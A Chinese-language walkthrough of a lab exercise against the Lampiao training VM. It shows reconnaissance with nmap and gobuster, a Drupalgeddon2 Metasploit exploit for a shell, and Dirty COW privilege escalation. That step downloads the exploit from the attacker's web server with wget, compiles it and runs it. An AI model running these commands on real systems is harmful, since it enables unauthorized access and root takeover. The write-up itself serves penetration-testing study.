目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu
2、使用工具/软件
Kali:arp-scan(主机探测)、nmap(端口服务探测)、gobuster(扫描目录)、msf(利用drupal框架漏洞getshell)、python(http服务)、wget(靶机上的下载exp工具)、g++(c++的编译工具,编译exp)
测试网址:http://192.168.202.143
二、测试目的
渗透Lampiao靶机,通过遗留的漏洞getshell,然后进一步利用系统漏洞(脏牛漏洞)获取root密码,然后登录并拿到flag
三、操作过程
1、信息搜集
主机探测
找到与靶机的IP地址:192.168.202.143
arp-scan -l
nwmap扫描靶机开放的端口和服务
nmap -sT -A -T4 -p- 192.168.202.143
发现开启了22端口、80端口、1898端口;分别是ssh服务和http服务,1898端口使用了Drupal 7的cms系统,这个系统存在漏洞可以利用
扫描web目录,扫描1898端口时有结果
gobuster dir -u http://192.168.202.143:1898 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
有很多目录,/robots.txt文件 /install.php /xmlrpc.php文件可访问,暂时没什么头绪,先试试利用cms的漏洞
2、Getshell
Msf中集成了大量的exp供使用,可以通过轻松的选项配置完成渗透。
使用msf查找Drupal 7的漏洞
进入msf
msfconsole
查找
search
#栏是编号;
name栏是exp的目录以及文件名;
Disclosure Date是披露日期;
rank是描述模块的相对重要性或影响力的一个指标,以帮助用户了解其利用的潜在风险和优先级。Excellent是最优秀的分级;
check为yes表示包含检查漏洞存在的功能;
description是该exp的描述。
这里使用drupalgeddon2的exp
use 1
使用特定的exp需要配置一些设置,查看设置信息
show options
这里required是yes的是必须要配置的选项,这里drupal的端口号不是默认的,因此也需要更改。
设置参数使用set命令
set rhost 192.168.202.143
set rport 1898
设置完成即可执行exp
run/exploit
获取了meterpreter,这是msf自带的功能强大的后渗透工具,提供了很多功能控制主机
这里首先获取shell
shell
不是交互式的shell,可以使用命令转换
SHELL=/bin/bash script -q /dev/null
SHELL=/bin/bash:这是一个环境变量的设置。 设置SHELL环境变量为/bin/bash它指定了在运行脚本时要使用的默认shell,即/bin/bash
script -q /dev/null:script 工具启动一个新的 shell 会话,-q 选项让它以静默模式运行,不输出记录信息。/dev/null 是一个特殊设备,用于丢弃所有输出,相当于不保存会话记录。
3、提权
获取交互式shell后,查看系统版本信息 ,发现版本是ubuntu 14.04,这个系统版本是存在脏牛漏洞提权的
uname -a
(该漏洞信息图片来自本站的大佬文章:一纸-荒芜的此靶机报告)
这个漏洞的exp在kali中已经集成了,可以直接使用
searchsploit dirty cow
查看exp的绝对路径,并将exp复制一份出来供使用
locate linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp 40847.cpp
开启python的http服务,在靶机使用wget命令下载文件
python3 -m http.server 9999
这个命令允许其他主机访问当前工作目录中的文件
-m 表示运行指定模块作为脚本
http.server提供简单的http服务器功能
9999是端口号,表示服务器监听在9999端口
wget http://192.168.202.134:9999/40847.cpp
在靶机查看exp文件,注释中写了编译的命令,直接使用即可
cat 40847.cpp
编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
g++:gnu C++编译器
-Wall:允许发出GCC能够提供的所有有用的警告,帮助发现潜在问题。
-pedantic:启用标准合规性检查,确保代码符合C++标准,发出警告或错误信息
-O2:编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11:指定 C++ 标准版本,这里就是用按C++2011标准来编译的
-pthread:在Linux中要用到多线程时,需要链接pthread库
-o dcow:-o指定输出文件名。
-lutil:-l链接指定库,这里链接 util 库,这通常用于提供一些额外的系统工具函数,如 login、utmp 等。
运行编译好的程序,即可得到root密码
dirtyCowFun
登录root用户,得到flag
四、结论
这个靶机的cms管理系统drupal有历史漏洞未打补丁,可以直接利用exp完成getshell;
Linux历史版本存在内核严重漏洞危害很大,利用已有的exp可以提权。